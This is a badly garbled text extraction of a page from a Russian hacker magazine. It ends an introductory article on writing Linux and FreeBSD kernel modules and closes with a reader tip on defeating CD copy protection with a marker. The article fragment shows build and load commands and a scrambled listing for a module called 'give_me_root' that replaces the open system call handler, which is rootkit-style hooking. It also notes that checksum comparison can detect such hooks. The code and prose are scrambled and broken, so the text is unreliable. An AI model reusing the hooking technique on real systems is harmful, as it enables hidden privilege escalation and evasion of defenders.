Silvio Cesare íà

 

 

 

.big.net.au/~silvio) - тогда простая сверка таблиц

http://www

относительно

«стандартный»

способ, который

уже не поможет, но это тоже

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

-обработчиков

 

 

 

 

 

 

лечится сверкой чексумм тел функций

 

 

 

 

 

 

 

 

 

 

 

Технические

 

моменты

 

 

 

 

 

1. Компиляция

 

совсем

элементарно:

 

Линуховые

модули компилятся

 

_root.o

 

 

 

 

 

 

 

 

 

 

 

 

 

gcc

 

_me_root.c -o give_me

 

 

 

 

 

-c give

 

 

 

 

 

-

нужно создать Makefile примерно

Фрюшные же немного более гиморно

 

 

 

такого вида:

 

 

 

 

 

 

 

SRCS

 

 

_me_root.c

 

 

 

 

 

 

= give

 

 

 

 

 

 

KMOD

 

 

_root

 

 

 

 

 

 

= give_me

 

 

 

 

 

 

KO

 

 

 

.ko

 

 

 

 

 

 

= ${KMOD}

 

 

 

 

 

 

KLDMOD

 

= t

 

 

 

 

 

 

 

 

 

 

.kmod.mk>

 

 

 

 

 

 

.include <bsd

 

 

 

 

 

 

 

а затем просто набрать команду make.

 

 

 

2.

Подгрузка

â ÿäðî

 

ïðè

помощи команды

insmod (insmod

Â

линухе

модуль подгружается

_root.ko).

 

 

 

 

 

 

_root.o). Во фре при помощи kldload (kldload ./give_me

./give_me

 

 

 

 

 

 

 

 

 

_ops (struct module *module, int cmd, void *args);

 

 

 

static int module

 

 

 

 

 

 

 

 

{

switch (cmd)

 

_LOAD:

 

 

 

 

 

{

 

 

 

 

 

 

 

 

 

case MOD

 

 

=

 

 

 

 

 

 

_open].sy_call

 

 

 

 

 

 

 

sysent[SYS

 

 

íà

 

 

_open; /* заменяем оригинальный указатель на указатель

 

 

 

 

(sy_call_t*)our

 

 

 

 

 

 

 

 

наш обработчик */

 

 

break;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

_UNLOAD:

 

 

 

 

 

 

 

case MOD

 

 

 

 

 

 

 

 

 

_open].sy_call = (sy_call_t*)open;

 

 

 

 

 

 

sysent[SYS

 

 

 

 

/*

восстанавливаем

оригинальный обработчик */

 

 

 

 

 

 

break

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

default:

return (EINVAL);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

return (0);

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

_me_root»,

module_ops, NULL};

 

 

 

 

 

 

_root = {«give

 

 

 

 

 

 

_t give_me

 

 

 

 

 

static moduledata

 

 

 

 

 

 

 

static struct sysinit sys_init =

 

 

 

 

 

{

_DRIVERS,

 

 

 

 

 

SI_SUB

 

_MIDDLE,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

SI_ORDER

 

 

 

 

 

 

 

 

 

_init,

 

 

 

 

 

 

module_register

 

 

 

 

 

 

 

&give_me_root

 

 

 

 

 

 

};

 

 

 

 

 

 

 

 

static void const

* const

 

_init;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

_sys_init = &sys

 

 

 

 

 

_set_sym_syscall

 

 

 

 

 

__set_sysinit

 

 

_set»»,\»aw\»»);

 

 

 

 

__asm(«.section .set.»»sysinit

 

 

 

 

 

 

__asm(«.long « «sys_init»);

 

 

 

 

 

 

 

__asm(«.previous»);

 

 

 

ЛИСТИНГ

#6

 

 

 

 

 

 

 

Äîêè

 

 

 

 

 

 

 

 

lkm’ов. Поэтому вот

Эта статья планировалась

как вводный курс в написание

 

 

 

 

дополнительную

èíôó:

 

 

 

 

места, где можно почерпнуть

 

 

.org).

Почти в

 

журнал

 

 

 

 

Для новичков

- всем известный

phrack (www.phrack

 

инфа о различных

фичах с использованием

каждом его выпуске проскакивает

 

 

 

 

 

 

 

 

 

 

 

 

lkm’îâ.

 

 

 

 

чего нельзя обойтись,

если ты задумал

/usr/src/linux è /usr/src/sys - òî, áåç

 

 

 

 

 

 

 

 

 

связаться с ядром.

 

 

 

 

 

 

 

 

 

 

Tips&Tricks

Что-то в последнее время буржуи совсем оборзели и начали придумывать всякие защиты на компакты. Но мы-то умнее. Теория: проги для защиты от копирования ставят на CD неверные логические блоки, которые не дают одноглазому считать инфу до конца. В_Н_И_М_А_Н_И_Е_! Самый хакерский способ взлома CD и DVD защиты. Берешь маркер и аккуратно проводишь им по компакту, и не абы где, а как раз около этой самой защиты

(ее видно невооруженным глазом). После чего вставляешь CD в привод и смотришь. Если не читает, то стираем линию и рисуем новую, чуток поближе к защите. Все, защита снята.

K\L.F aka kwazar

Хочешь увидеть свои советы в журнале? Присылай их на адрес Sklyarov@real.xakep.ru. Ведущий рубрики Tips&Tricks Иван Скляров.

88

Соседние файлы в папке журнал хакер